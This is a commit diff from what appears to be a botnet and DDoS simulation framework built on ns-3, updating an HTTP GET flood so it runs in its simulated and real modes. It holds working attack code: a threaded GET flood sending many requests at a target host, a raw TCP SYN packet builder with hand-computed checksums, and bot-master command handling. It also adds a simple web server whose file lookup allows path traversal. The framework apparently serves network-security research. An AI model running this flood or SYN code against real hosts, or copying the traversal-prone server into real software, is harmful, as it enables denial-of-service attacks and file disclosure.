Commits

Joshua Bonsink committed 3af2536

Updated get flood to work in all three modes.

Comments (0)

Files changed (5)

 
     def dispatcher(self, sock, data):
         """Try to execute commands present in data."""
+        
         try:
             CMD.dispatcher(self, sock, data)
         except UnknownEventException as err:
             self.node.send(sock, 'you have sent me a unknown message')
 
     def verify_master(self, sock, data):
-        """Verify the identity of the bot master."""
-        if data.password == self.desc.master_password:
+        """Verify the identity of the bot master."""        
+        if data.password == self.desc.master_password:            
             self.logger.info( 'bot master password verified' )
             self.node.set_master_sock(sock)
             self.node.send(sock, jsonpickle.encode(EchoCmd()))

core/ns3/experiment/experiment.py

             BOTMASTER_DESC.server_address = srv_addr
             SERVER_DESC.server_address = srv_addr
             CLIENT_DESC.server_address = srv_addr     
-         
-        print BOTMASTER_DESC.command.hostname
-               
+                               
         for i in xrange(self.node_num):
             if i in self.botmaster_id_set:
                 cmd = scen.BotMaster(BOTMASTER_DESC)

core/ns3/node/imalse_netns_sim_node.py

+import mimetypes
+import struct
 import jsonpickle
 
 from core.nodes.base_node import BaseNode
                 *args,
                 **kwargs)
 
-    def bind(self, sock, addr_port):
+    def bind(self, sock, addr_port):        
         self.logger.debug('Node [%s] start to bind to %s'%(self.name, addr_port) )
         addr = self._search_server_addr(addr_port[0])
         # import pdb;pdb.set_trace()
         sock.SetRecvCallback(dispatcher)
         self.logger.debug('Node [%s] has finish set recv dispatcher for sock [%s]'%(self.name, str(sock)) )
         sock.Recv()
-        self.logger.debug('sock.Recv finished')
+        self.logger.debug('sock.Recv finished')       
         # sock.Recv(bufsize, 0)
 
     def dispatcher(self, sock):
         """node level dispatcher, it will read data from the socket,
-        parse the data into approariate format and handle the data to
+        parse the data into appropriate format and handle the data to
         cmd.dispatcher()
         """
         print 'dispatcher'
             msg = self.get_msg_deprec(packet)
                 
         self.logger.debug('Node [%s] has receive message %s from sock [%s] and node [%s]'%(self.name, msg, sock, _from) )
-
+        
         if msg == 'connect_ack':
             self.logger.debug('Node [%s] call self.recv_ack s'%(self.name) )
             self.cmd_set.recv_ack()
         server_addr = self._search_server_addr(addr_port[0])
         print 'addr_port, ', addr_port
         print 'server_addr, ', server_addr
-        print 'server local, ', self.server_addr_set[0].GetLocal()
-        # import pdb;pdb.set_trace()
-        assert(str(server_addr) == str(self.server_addr_set[0].GetLocal()))
-        # import pdb;pdb.set_trace()
+        print 'server local, ', self.server_addr_set[0].GetLocal()        
+        
+        if (str(server_addr) != str(self.server_addr_set[0].GetLocal())):
+            server_addr = str(self.server_addr_set[0].GetLocal())        
 
         inetAddr = ns3.InetSocketAddress(
                 server_addr,
                 addr_port[1]
                 )
 
-        def connect_succeeded(sock):
-            print 'Node [%s] connect succeeded'%(self.name)
+        def connect_succeeded(sock):            
             self.logger.debug('Node [%s] connect succeeded'%(self.name) )
             # self.recv(sock, 512, self.dispatcher)
             self.after(0, self.recv, sock, 512, self.dispatcher)
 
     @staticmethod
     def get_msg(p):
-        """get message from the pacetk"""
+        """get message from the packet"""
         h = ns3.ImalseHeader()
         p.RemoveHeader(h)
         msg = h.GetData()
 
     @staticmethod
     def add_msg(p, msg):
-        """add message to pacekt"""
+        """add message to packet"""
         h = ns3.ImalseHeader()
         h.SetData(msg)
         p.AddHeader(h)
     def ftp_upload(self, f, host, user, password):
         print 'File [%s] has been uploaded to ftp %s'%(f, host)
 
+    #################################
+    ###       Webserver         ###
+    #################################
+    def start_webservice(self):
+        sock = ns3.Socket.CreateSocket(self, self.proto_map['tcp'])
+        
+        addr = self._search_server_addr('')    
+        print "STARTING SERVICE"    
+        print addr           
+        port = 80               
+         
+        addr = self._search_server_addr(addr)        
+        dst = ns3.InetSocketAddress (addr, port)    
+        
+        sock.Bind(dst)     
+        sock.Listen()       
+        
+        self.recv(sock, 512, self.service, False)        
+        
+    def service(self, sock):        
+        # Establish connection with client and check for data.
+        _from = ns3.Address()
+        data = sock.RecvFrom (_from)           
+        print data
+        if data:   
+            print "Got data"
+            data = self.get_msg(data)  
+            data = data.splitlines()          
+            
+            header = data[0].split(' ')
+            
+            if header[0] == 'GET' and header[2] == 'HTTP/1.1':    
+                #A dot before the slash is needed to open subfolders
+                if header[1][1:] == '':                
+                    header[1] = './index.html'               
+                else:
+                    header[1] = '.' + header[1]                
+                
+                try:
+                    file = open(header[1], 'r')
+                    read_data = file.read()
+                    file_type, file_encoding = mimetypes.guess_type(header[1])
+                    
+                    response = 'HTTP/1.1 200 OK\r\n'            
+                    response += 'Content-Length: ' + str(len(read_data)) + '\r\n'
+                    response += 'Content-Type: ' + file_type + '\r\n\r\n'
+                    response += read_data
+                    
+                    p = ns3.Packet()                        
+                    p = self.add_msg(p, response)
+                    
+                    sock.send(p)                            
+                    file.close()                
+                
+                #If the file can't be found, 404 error.
+                except IOError as err:                    
+                    p = ns3.Packet()                        
+                    p = self.add_msg(p, 'HTTP/1.1 404 Not Found\r\n\r\n404 Not Found')
+                    sock.send(p)              
+            #If the command isn't a GET, 501 error.
+            else:
+                p = ns3.Packet()                        
+                p = self.add_msg(p, 'HTTP/1.1 501 Not Implemented\r\n\r\n501 Not Implemented')
+                sock.send(p)                    
+        
+        self.after(0.1, self.recv, sock, 512, self.service)
+                        
+
     ####################################
-    ##    File System              #####
+    ##    Application           #####
     ####################################
     def ping(self, sock, data, threaded):
         """The attributes you can customize
         helper.SetAttribute("Verbose", ns3.BooleanValue(data.verbose))
                
         helper.Install(self)
+        
+    def get_checksum(self, msg):
+        """
+        
+        This function calculates checksums. The loop takes 2 characters at a time.
+        
+        """
+        checksum = 0
+        
+        for i in range(0, len(msg), 2):
+            val = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
+            checksum = checksum + val
+         
+        checksum = (checksum >> 16) + (checksum & 0xffff)
+        checksum = ~checksum & 0xffff     
+        return checksum
+ 
+    def construct_packet(self, source_ip, dest_ip):
+        """Construct the tcp syn packet."""       
+        # ip header fields
+        ihl = 5
+        version = 4
+        tos = 0
+        tot_len = 20 + 20   
+        packet_id = 54321  
+        frag_off = 0
+        ttl = 255
+        protocol = socket.IPPROTO_TCP
+        check = 10 
+        saddr = socket.inet_aton ( source_ip )  
+        daddr = socket.inet_aton ( dest_ip )
+         
+        ihl_version = (version << 4) + ihl
+         
+        # the ! in the pack format string means network order
+        ip_header = struct.pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, packet_id, frag_off, ttl, protocol, check, saddr, daddr)
+         
+        # tcp header fields
+        source_port = 1234   
+        dest_port = 80   
+        seq = 0
+        ack_seq = 0
+        doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
+        #tcp flags
+        fin = 0
+        syn = 1
+        rst = 0
+        psh = 0
+        ack = 0
+        urg = 0
+        window = socket.htons (5840)    #   maximum allowed window size
+        check = 0
+        urg_ptr = 0
+         
+        offset_res = (doff << 4) + 0
+        tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
+         
+        # the ! in the pack format string means network order
+        tcp_header = struct.pack('!HHLLBBHHH', source_port, dest_port, seq,\
+                         ack_seq, offset_res, tcp_flags, window, check, urg_ptr)
+         
+        # pseudo header fields
+        source_address = socket.inet_aton( source_ip )
+        dest_address = socket.inet_aton(dest_ip)
+        placeholder = 0
+        protocol = socket.IPPROTO_TCP
+        tcp_length = len(tcp_header)
+         
+        psh = struct.pack('!4s4sBBH', source_address, dest_address, placeholder,\
+                          protocol , tcp_length)
+        psh = psh + tcp_header
+         
+        tcp_checksum = self.get_checksum(psh)
+     
+        # make the tcp header again and fill the correct checksum
+        tcp_header = struct.pack('!HHLLBBHHH' , source_port, dest_port, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
+         
+        # final full packet - syn packets dont have any data
+        return ip_header + tcp_header
 from ftplib import FTP
 import os
 import socket
+import sys
+import mimetypes
 import threading
 import time
+import struct
 
 from core.real.jedie_python_ping.ping import verbose_ping
 
         """Receive data from the socket with this blocking function."""
         while True:
             try:
-                data = sock.recv(bufsize)
+                data = sock.recv(bufsize)                
             except socket.error as err:
                 print 'exception in socket [%s] with error:[%s]' % (sock, err)
                 print 'this sock will be closed'
         del self.sockets[sock]
 
     #################################
+    ###       Webserver         ###
+    #################################
+    def start_webservice(self):
+        try:
+            sock = socket.socket()         
+        except socket.error, msg:
+            print 'Failed to create socket. Error code: ' + str(msg[0] ) + ', Error message: ' + msg[1]
+            sys.exit(1)
+        
+        host = ''               
+        port = 80               
+         
+        sock.bind((host, port))        
+        sock.listen(1) 
+        
+        while True:
+            # Establish connection with client and check for data.
+            client, addr = sock.accept()        
+            data = client.recv(1024)    
+            if data:               
+                #HTTP header is on the first line
+                data = data.splitlines()
+                header = data[0].split(' ')
+                        
+                if header[0] == 'GET' and header[2] == 'HTTP/1.1':    
+                    #A dot before the slash is needed to open subfolders
+                    if header[1][1:] == '':                
+                            header[1] = './index.html'               
+                    else:
+                        header[1] = '.' + header[1]                
+                    
+                    try:
+                        file = open(header[1], 'r')
+                        read_data = file.read()
+                        file_type, file_encoding = mimetypes.guess_type(header[1])
+                        
+                        response = 'HTTP/1.1 200 OK\r\n'            
+                        response += 'Content-Length: ' + str(len(read_data)) + '\r\n'
+                        response += 'Content-Type: ' + file_type + '\r\n\r\n'
+                        response += read_data
+                        print response
+                        client.sendall(response)                            
+                        file.close()                
+                    
+                    #If the file can't be found, 404 error.
+                    except IOError as err:                            
+                        client.sendall('HTTP/1.1 404 Not Found\r\n\r\n404 Not Found')              
+                #If the command isn't a GET, 501 error.
+                else:
+                    client.sendall('HTTP/1.1 501 Not Implemented\r\n\r\n501 Not Implemented')
+            
+            client.close() # Close the connection            
+
+    #################################
     ###       Application         ###
     #################################
     def ping(self, sock, data, threaded=False):
 
     def dispatcher(self, sock, data):
         """Initialize the dispatcher."""
-        self.cmd_set.dispatcher(sock, data)
+        self.cmd_set.dispatcher(sock, data)
+        
+    def get_checksum(self, msg):
+        """
+        
+        This function calculates checksums. The loop takes 2 characters at a time.
+        
+        """
+        checksum = 0
+        
+        for i in range(0, len(msg), 2):
+            val = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
+            checksum = checksum + val
+         
+        checksum = (checksum >> 16) + (checksum & 0xffff)
+        checksum = ~checksum & 0xffff     
+        return checksum
+ 
+    def construct_packet(self, source_ip, dest_ip):
+        """Construct the tcp syn packet."""       
+        # ip header fields
+        ihl = 5
+        version = 4
+        tos = 0
+        tot_len = 20 + 20   
+        packet_id = 54321  
+        frag_off = 0
+        ttl = 255
+        protocol = socket.IPPROTO_TCP
+        check = 10 
+        saddr = socket.inet_aton ( source_ip )  
+        daddr = socket.inet_aton ( dest_ip )
+         
+        ihl_version = (version << 4) + ihl
+         
+        # the ! in the pack format string means network order
+        ip_header = struct.pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, packet_id, frag_off, ttl, protocol, check, saddr, daddr)
+         
+        # tcp header fields
+        source_port = 1234   
+        dest_port = 80   
+        seq = 0
+        ack_seq = 0
+        doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
+        #tcp flags
+        fin = 0
+        syn = 1
+        rst = 0
+        psh = 0
+        ack = 0
+        urg = 0
+        window = socket.htons (5840)    #   maximum allowed window size
+        check = 0
+        urg_ptr = 0
+         
+        offset_res = (doff << 4) + 0
+        tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
+         
+        # the ! in the pack format string means network order
+        tcp_header = struct.pack('!HHLLBBHHH', source_port, dest_port, seq,\
+                         ack_seq, offset_res, tcp_flags, window, check, urg_ptr)
+         
+        # pseudo header fields
+        source_address = socket.inet_aton( source_ip )
+        dest_address = socket.inet_aton(dest_ip)
+        placeholder = 0
+        protocol = socket.IPPROTO_TCP
+        tcp_length = len(tcp_header)
+         
+        psh = struct.pack('!4s4sBBH', source_address, dest_address, placeholder,\
+                          protocol , tcp_length)
+        psh = psh + tcp_header
+         
+        tcp_checksum = self.get_checksum(psh)
+     
+        # make the tcp header again and fill the correct checksum
+        tcp_header = struct.pack('!HHLLBBHHH' , source_port, dest_port, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
+         
+        # final full packet - syn packets dont have any data
+        return ip_header + tcp_header

scenario/ddos_flooding/attacks/http_get_flood.py

 import socket
 from threading import Thread
 
-def auto_send_request(hostname, port=80, num_request=10):
+def auto_send_request(hostname, port=80, num_request=10, node=None):
     """
     
     This function is run in a separate thread. It sends http get requests to a
     specific host.
     
     """
+    try:
+        sock = node.create_sock({'proto': 'tcp'})
+        node.connect(sock, ((str(hostname), int(port))))
+    except socket.error as err:
+        print "ERROR: " + str(err)
+            
     for _ in range(num_request):
         try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.connect((str(hostname), int(port)))
-            sock.send("GET / HTTP/1.1\r\n\r\n")
-            sock.close()            
+            node.send(sock, "GET / HTTP/1.1\r\n\r\n")                   
         except socket.error as err:
-            print err
+            print "ERROR: " + str(err)
                 
-def start_http_get_flood(hostname, port=80, num_request=1000, num_threads=100):    
+def start_http_get_flood(hostname, port=80, num_request=1000, num_threads=100, node=None):    
     """Start the http get flooding.""" 
     number_of_requests_per_thread = int(num_request/num_threads)
-    
+    print "Sending get requests to " + str(hostname)
     try:
         for _ in range(num_threads):
             flood_thread = Thread( 
                               target=auto_send_request,\
-                              args=(hostname, port, number_of_requests_per_thread) 
+                              args=(hostname, port, number_of_requests_per_thread, node) 
                               )
             flood_thread.start()
     except (KeyboardInterrupt, SystemExit):